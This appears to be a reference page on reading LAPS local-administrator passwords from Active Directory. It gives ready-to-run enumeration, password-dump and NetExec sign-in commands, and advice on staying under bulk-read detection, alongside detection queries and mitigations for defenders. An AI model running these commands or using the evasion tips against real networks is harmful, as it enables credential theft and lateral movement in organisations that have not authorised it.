How it works
The Local Administrator Password Solution gives each computer a unique, random password for a local administrator account and rotates it. When Active Directory is the backup directory, the computer writes the password to its own computer object, and administrators read it from there when they need it. The attack is that read, made by someone who should not be able to make it.
Two products store the password in different attributes:
| Product | Password attribute | Form |
|---|---|---|
| Legacy Microsoft LAPS | ms-Mcs-AdmPwd |
Clear text, with ms-Mcs-AdmPwdExpirationTime |
| Windows LAPS, clear text | msLAPS-Password |
Clear text (account name and password), with msLAPS-PasswordExpirationTime |
| Windows LAPS, encrypted | msLAPS-EncryptedPassword |
Encrypted for one security principal; older values in msLAPS-EncryptedPasswordHistory |
| Windows LAPS on domain controllers | msLAPS-EncryptedDSRMPassword |
The Directory Services Restore Mode password, encrypted, with its own history attribute |
Protection rests on two checks. The first is the access control list of the computer object, which is inherited from its OU. The password attributes are confidential, so ordinary read access does not return them; the reader needs an explicit read delegation, the All extended rights permission, or full control. The second check exists only for encrypted Windows LAPS: the managed device encrypts the password for a single user or group, named by the ADPasswordEncryptionPrincipal policy, and Domain Admins when the policy is not set. Reading the attribute and decrypting it are separate rights, and a reader outside the decryptor gets only ciphertext.
The weak points are the usual ones of delegation:
- A readers group that is larger than intended, often through nested groups.
- Inherited OU permissions (full control, All extended rights) that were granted for another purpose and happen to include the confidential attributes.
- The account that joined a computer to the domain, which keeps control of that object.
- Control of the object's access control list (owner, WriteDACL), which lets a principal grant itself the read.
- Clear text storage, where the access control list is the only protection.
- Legacy attributes left behind after a move to Windows LAPS.
Prerequisites
- A domain account with effective read access to the LAPS password attribute on at least one computer object, directly or through a group.
- For encrypted Windows LAPS passwords: membership of the authorized decryptor of that password.
- LDAP access to a domain controller. To use the password: network access to the computer over SMB, WinRM or RDP.
Attack steps
For authorized security testing and lab use only. Run these steps against systems you own or have written permission to assess.
1. Find LAPS-managed computers and who can read them
Any domain user can read the access control lists of OUs and computer objects. The expiration time attributes show which computers are managed; the legacy one is not confidential and is readable by every authenticated user.
# Managed computers (legacy LAPS or Windows LAPS)
Get-ADComputer -LDAPFilter '(|(ms-Mcs-AdmPwdExpirationTime=*)(msLAPS-PasswordExpirationTime=*))' |
Select-Object Name, DistinguishedName
# Windows LAPS module: principals with extended rights on an OU
Find-LapsADExtendedRights -Identity Workstations
LAPSToolkit answers the same questions for legacy LAPS from a non-administrative session:
Import-Module .\LAPSToolkit.ps1
Find-LAPSDelegatedGroups # groups delegated to read ms-Mcs-AdmPwd, per OU
Find-AdmPwdExtendedRights # principals with All extended rights on managed computers
Get-LAPSComputers # managed computers, expiration, and the password where readable
2. Read the passwords
With the Windows LAPS module, which also returns legacy LAPS passwords and decrypts encrypted ones when the caller is an authorized decryptor:
Get-LapsADPassword -Identity WS01 -AsPlainText
Get-LapsADPassword -Identity SRV01 -AsPlainText -IncludeHistory
# The DSRM password of a domain controller, where Windows LAPS backs it up
Get-LapsADPassword -Identity DC01.corp.example.com -AsPlainText
The output names the account, the password, its expiration, the Source (for example EncryptedPassword or LegacyLapsCleartextPassword), and for encrypted values the DecryptionStatus and the AuthorizedDecryptor. A status of Unauthorized means the caller could read the attribute but is not a decryptor.
A plain LDAP read works for the clear text attributes:
Get-ADComputer -Identity WS01 -Properties 'ms-Mcs-AdmPwd', 'ms-Mcs-AdmPwdExpirationTime'
From Linux, Impacket reads legacy LAPS and encrypted Windows LAPS passwords for every computer the account can read, or for one computer:
GetLAPSPassword.py corp.example.com/alice:'<password>' -dc-ip 192.0.2.10
GetLAPSPassword.py corp.example.com/alice:'<password>' -dc-ip 192.0.2.10 -computer WS01 -outputfile laps.txt
3. Use the passwords
NetExec reads the LAPS password of each target and signs in with it as the local administrator in one step. Add the account name after --laps when the managed account is not named administrator.
nxc smb 192.0.2.0/24 -u alice -p '<password>' --laps
nxc smb 192.0.2.50 -u alice -p '<password>' --laps localadmin
Impact
Each password is a local administrator on one computer. With it the attacker controls that host, reads the credentials of the accounts that are signed in to it or cached on it (see SAM, LSA secrets and cached credentials), and moves on. A reader with rights over a whole OU gets every computer in it at once, which is lateral movement at the scale of the delegation.
The scope decides the severity. A helpdesk group that can read workstation passwords is a contained risk. The same right on an OU that holds servers, or the ability to decrypt the DSRM password of a domain controller, is a path to the domain: the DSRM account is a local administrator on the domain controller (see DSRM persistence).
The password stays valid until LAPS rotates it. With password history enabled, an authorized decryptor also reads earlier passwords, which matter where a machine was restored from an old image.
OPSEC and artifacts
- Reading through an account that is allowed to. A read by a member of the readers group is the feature working as designed. Without an audit entry on the OU, the domain controller logs nothing for it.
- Reading one computer at a time. With auditing in place, each read writes event 4662 with the reader, the computer object and the property GUID. A support case touches one computer;
GetLAPSPassword.pywithout-computerandnxc --lapsagainst a subnet touch all of them within seconds. Careful operators read a few chosen servers. - Ciphertext leaves no decryption trace in the directory. A reader can copy encrypted values today and decrypt them later, once it controls a member of the decryptor. The directory read is the only event.
- Enumeration is quiet. Finding managed computers and reading access control lists are ordinary LDAP queries that any account can run.
- Using the password is not quiet. A network logon by the local administrator writes event 4624 on the target with an account SID ending in
-500(or the SID of the custom managed account) and the source address. Local administrator logons from one workstation to many others are a well-known lateral movement pattern. - Windows LAPS reacts to use. With the default post-authentication actions, Windows LAPS rotates the password and signs out the session after the managed account has been used, 24 hours later by default. The rotation shows in the LAPS operational log on the endpoint and in a changed expiration time on the computer object.
- Granting oneself the right. If the attacker changed an access control list to gain the read, that write is logged as event 5136 on
nTSecurityDescriptorwhere directory changes are audited.
Detection
- Audit the read. Enable Audit Directory Service Access on domain controllers and add an audit entry for the LAPS attributes on the OUs with managed computers (the
Set-LapsADAuditingcmdlet creates it). The encrypted Windows LAPS attributes belong to the property setms-LAPS-Encrypted-Password-Attributes, GUIDf3531ec6-6330-4f8e-8d39-7a671fbac605, which appears in thePropertiesfield of event 4662. FormsLAPS-Passwordandms-Mcs-AdmPwd, match the attribute'sschemaIDGUIDfrom your own schema. - Unapproved readers and bulk reads. The LAPS Password Read detection rules alert on reads by accounts that are not computers and on one account reading many computers.
- Reads of domain controller objects. A read of the DSRM attributes should be rare enough to review every time. The DSRM password rules cover the related change on the domain controller itself.
- Local administrator logons. On endpoints, 4624 with logon type 3 for the managed local account from a host that is not an administration workstation.
- Exposure review. Run
Find-LapsADExtendedRightson every OU with managed computers and compare the result with the intended readers. Resolve nested groups; a direct member list misses them.
// Accounts that read the encrypted LAPS attributes of many computers in one hour
WindowsEvent
| where Channel == "Security" and EventID == 4662
| extend Actor = tostring(EventData.SubjectUserName),
Target = tostring(EventData.ObjectName),
Properties = tostring(EventData.Properties)
| where Properties has "f3531ec6-6330-4f8e-8d39-7a671fbac605"
| where Actor !endswith "$"
| summarize Computers = dcount(Target), FirstRead = min(TimeGenerated) by Actor, bin(TimeGenerated, 1h)
| where Computers >= 5
The threshold is a starting value. A 4662 event on the encrypted attributes shows that the value was read, not that it was decrypted.
Mitigation
- Move to Windows LAPS with encryption. Set
ADPasswordEncryptionPrincipalto a small dedicated group per tier instead of leaving the default or naming a broad group. The Windows LAPS guide covers the rollout. - Delegate reads per OU to small groups with
Set-LapsADReadPasswordPermission, and keep workstations, servers and domain controllers in separate OUs with separate readers. Helpdesk staff should not hold rights on OUs with servers. This is least privilege applied to a password store. - Remove unintended rights. Use
Find-LapsADExtendedRightsto find principals with All extended rights or full control on those OUs and remove the ones that do not need them. - Stop users from owning computer objects. Join computers with a dedicated, controlled account and set the machine account quota to zero; see the MachineAccountQuota guide.
- Clean up legacy LAPS. After the move to Windows LAPS, remove the old clear text
ms-Mcs-AdmPwdvalues and the delegations that were granted for them. - Keep post-authentication reset enabled so that a used password is rotated automatically, and keep the password age short.
- Audit the attributes on every managed OU; the audit policy guide shows the domain controller settings.
- After an unexplained read, rotate the passwords of the affected computers, servers first, and review local administrator logons on them since the read.
Detection rules for this attack
Log events to collect
FAQ
Who can read LAPS passwords in Active Directory?
Anyone with read access to the password attribute on the computer object. For legacy LAPS and for the Windows LAPS attributes, which are marked confidential, that means an explicit delegation, All extended rights, or full control of the computer or its OU. For encrypted Windows LAPS passwords the reader must also belong to the authorized decryptor, which is Domain Admins unless policy names another principal.
Does Windows LAPS password encryption stop this attack?
It narrows it. A reader who is not in the authorized decryptor obtains only ciphertext. A member of the decryptor group with read access still gets the password, and if password history is enabled, the older passwords too. The decryptor of an already stored password cannot be changed later, so a group that was too wide stays able to decrypt copies taken earlier.
Why can a regular user sometimes read a LAPS password?
Usually through rights nobody intended. The account that joined a computer to the domain keeps control of that computer object, and broad OU delegations such as full control or All extended rights include the confidential password attributes. Both give the password without anyone having been added to a LAPS readers group.
How do you detect LAPS password reads?
Put an audit entry for the LAPS attributes on the OUs with managed computers and enable Audit Directory Service Access on domain controllers. Each read then writes event 4662. Alert on readers that are not approved, and on one account reading the attributes of many computers in a short time.
References
- Unsecured Credentials, T1552 (MITRE ATT&CK)
- Key concepts in Windows LAPS: password security, encryption, DSRM (Microsoft Learn)
- Get started with Windows LAPS and Windows Server Active Directory (Microsoft Learn)
- Get-LapsADPassword (Microsoft Learn)
- Find-LapsADExtendedRights (Microsoft Learn)
- Windows LAPS schema extensions reference (Microsoft Learn)
- GetLAPSPassword.py (Impacket, Fortra)
- LAPSToolkit (leoloobeek)
Techniques, tactics and threat groups: MITRE ATT&CK® Enterprise v20.1. © The MITRE Corporation. This work is reproduced and distributed with the permission of The MITRE Corporation. Last updated 2026-11-29.